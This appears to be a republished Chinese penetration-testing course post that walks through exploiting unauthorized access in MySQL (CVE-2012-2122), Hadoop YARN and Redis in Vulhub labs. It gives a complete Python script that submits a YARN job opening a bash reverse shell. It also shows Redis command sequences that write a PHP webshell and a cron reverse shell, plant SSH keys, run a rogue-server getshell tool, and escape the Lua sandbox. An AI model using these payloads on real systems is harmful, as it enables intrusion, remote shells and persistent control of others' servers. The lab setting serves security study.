第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

这篇具有很好参考价值的文章主要介绍了第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

思维导图:

常见服务的安全测试:

服务安全流程:

案例一:Mysql-未授权访问-CVE-2012-2122 利用

案例二: Hadoop-未授权访问-内置配合命令执行 RCE

案例三:Redis-未授权访问-Webshell&任务&密匙&RCE 等

写入webshell

 写入计划任务反弹shell

ssh密钥链接

​编辑利用自动化脚本去getshell

redis沙盒绕过命令执行


思维导图:

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

常见服务的安全测试:

1.配置不当-未授权访问

2.安全机制-特定安全漏洞

3.安全机制-弱口令爆破攻击

服务安全流程:

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

端口扫描 nmap netstat

服务开放了,但是端口不存在?

1.内网环境,端口映射

2.端口被修改

3.防护软件-防火墙等

如果没有端口,利用组合猜测,例如:php-mysql

判断服务类型:

远程控制:  win 3389 rdp  linux 22 ssh   --> 账号密码爆破

案例一:Mysql-未授权访问-CVE-2012-2122 利用

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

创建docker环境

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

查看ip

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

利用命令

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

 复现:失败很多次后会成功

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

另外mysql不能够使用远程暴力破解。因为root用户只能本地登录,可以采取利用phpmyadmin去远程登录利用,爆破密码。

案例二: Hadoop-未授权访问-内置配合命令执行 RCE

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

搭建

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

访问:http://your-ip:8088

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

访问你的ip地址/cluster/apps,如果存在证明有漏洞

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

kali开启监听

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

新开的窗口执行下方代码,去反弹shell

import requests
 
def shell(url,vps_ip,port):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
    }
    response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
    id = response.json()["application-id"]
    data = {
        'application-id': id,
        'application-name': 'getshell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
            },
        },
        'application-type': 'YARN'}
    exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
    print("[+] 执行完成!")
 
 
if __name__ == '__main__':
    url = input("目标的URL:")
    vps_ip = input("监听的主机IP地址(kali):")
    port = input("监听的主机端口(kali):")
    shell(url,vps_ip,port)

运行,成功反弹sell

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

案例三:Redis-未授权访问-Webshell&任务&密匙&RCE 等

redis端口: 6379

未授权访问条件:

1.redis.conf中 bind表示允许谁访问,被注释了表示都可以访问

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

2.redis.conf 中 下面这个模块默认是关闭的

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

3.默认没设置密码 requirepass

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

环境配置:(centos7)

1、下载
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2、解压编译
tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译

3、配置及启动
cd src/ #进入src目录 
cp redis-server /usr/bin/ 
cp redis-cli /usr/bin/      #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd ..   # 返回上一级目录
cp redis.conf /etc/     #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

启动后的效果

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

利用redis桌面连接工具进行连接

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

连接后。ctrl+t进入命令终端

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

写入webshell

需要知道写入路径 /tmp目录默认是所有人都可以写入

利用条件:Web 目录权限可读写
config set dir /tmp #设置 WEB 写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
注意:部分没目录权限读写权限

 执行:第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

查看centos7是否写入

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

 写入计划任务反弹shell

kali首先开启监听

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

首先centos中的计时任务,可以写在/var/spool/cron中

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.172.132/7777 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/   //或者 /var/spool/cron/crontabs 
config set dbfilename root     // 计划任务的文件名为root
save   // ok
config get dir
//即可查看保存路径 ,确保路径无误

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

kali成功反弹shell

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

如果无法反弹shell可能是由于上一个实验的结果。也会输入这个文件当中造成影响,可以新开一个kali窗口,进行纯净版的输入,如图

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

ssh密钥链接

利用该攻击方式,还需要允许密钥对登录,并且redis以root登录

首先生成密钥对

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

进入root目录下

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

把公钥复制到key.txt文件当中

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

传输公钥

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

自己搭建的服务器,如果没有.ssh需要手工生成一下

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

连接保存公钥

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全利用自己的私钥去主动连接

利用自动化脚本去getshell

下载地址:https://github.com/vulhub/redis-rogue-getshell

可以用的redis版本: Redis4.x/5.0.5

运行代码:

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

搭建靶场:Vulhub - Docker-Compose file for vulnerability environment

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

利用,首先需要编译

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

利用

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

换一个命令

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

redis沙盒绕过命令执行

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

搭建:

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全

利用代码:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

复现

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE,web安全,安全文章来源地址https://www.toymoban.com/news/detail-860321.html

到了这里,关于第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 数据库安全-Redis未授权&Hadoop&Mysql&未授权访问&RCE 漏洞复现

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口: 默认端口统

    2024年02月03日
    浏览(37)
  • 网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)

    知识点: 1、服务攻防数据库类型安全 2、influxdb,.未授权访问wt验证 3、H2 database-未授权访问-配置不当 4、CouchDB-权限绕过配合RCE-漏洞 5、ElasticSearch-文件写入RCE-漏洞 #章节内容: 常见服务应用的安全测试: 1、配置不当-未授权访问 2、安全机制特定安全漏洞 3、安全机制弱口令

    2024年01月23日
    浏览(40)
  • 数据库攻防学习之Redis

    0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。 0x02 环境搭建 这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击

    2024年02月03日
    浏览(30)
  • 数据库安全:Hadoop 未授权访问-命令执行漏洞.

    Hadoop 未授权访问主要是因为 Hadoop YARN 资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过 RESTAPI 部署任务来执行任意指令,最终完全控制服务器。 数据库安全:Hadoop 未授权访问-命令执行漏洞. Hadoop 未授权访问-命令执行漏

    2024年02月05日
    浏览(32)
  • 《网络安全》- 3.1 - Redis数据库详细教程

    「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「订阅专栏」: 此文章已录入专栏《网络安全入门到精通》

    2023年04月08日
    浏览(29)
  • redis数据库缓存服务器

    redis比mysql访问数据快 非关系型数据库以键值对的方式存储数据 作用:加快访问速度,缓解数据库压力 redis最新版本7 特点 丰富的数据结构 list,set,hash等数据结构的存储 支持持久化 支持事务 “一个完整的动作,要么全部执行,要么什么也没有做” 支持主从支持高可用,支持

    2024年02月05日
    浏览(44)
  • 1 - 搭建Redis数据库服务器|LNP+Redis

    数据库服务软件分为2类: 关系型数据库服务软件 简称 RDBMS 按照预先设置的组织结构 将数据存储在物理介质上 数据之间可以做关联操作 非关系型数据库服务软件 简称 NoSQL 不仅仅是SQL 不需要预先定义数据存储结构 每条记录可以有不同的数据类型和字段个数 只需要 key valu

    2024年01月25日
    浏览(45)
  • 数据库缓存服务——NoSQL之Redis配置与优化

    目录 一、缓存概念 1.1 系统缓存 1.2 缓存保存位置及分层结构 1.2.1 DNS缓存 1.2.2 应用层缓存 1.2.3 数据层缓存 1.2.4 硬件缓存 二、关系型数据库与非关系型数据库 2.1 关系型数据库 2.2 非关系型数据库 2.3 关系型数据库和非关系型数据库区别: 2.4 非关系型数据库产生背景 2.5 总结

    2024年02月15日
    浏览(36)
  • 使用redis-insight连接到服务器上的redis数据库

    一、安装redis: 安装 Redis 。你可以通过运行下面的命令来使用 yum 安装 Redis: 启动 Redis 服务 。安装完成后,你可以通过运行下面的命令来启动 Redis 服务: 设置 Redis 服务在启动时自动启动 。如果希望 Redis 在系统启动时自动运行,可以使用下面的命令: 检查 Redis 服务状态

    2024年04月09日
    浏览(35)
  • openGauss学习笔记-55 openGauss 高级特性-全密态数据库

    全密态数据库意在解决数据全生命周期的隐私保护问题,使得系统无论在何种业务场景和环境下,数据在传输、运算以及存储的各个环节始终都处于密文状态。当数据拥有者在客户端完成数据加密并发送给服务端后,在攻击者借助系统脆弱点窃取用户数据的状态下仍然无法获

    2024年02月10日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包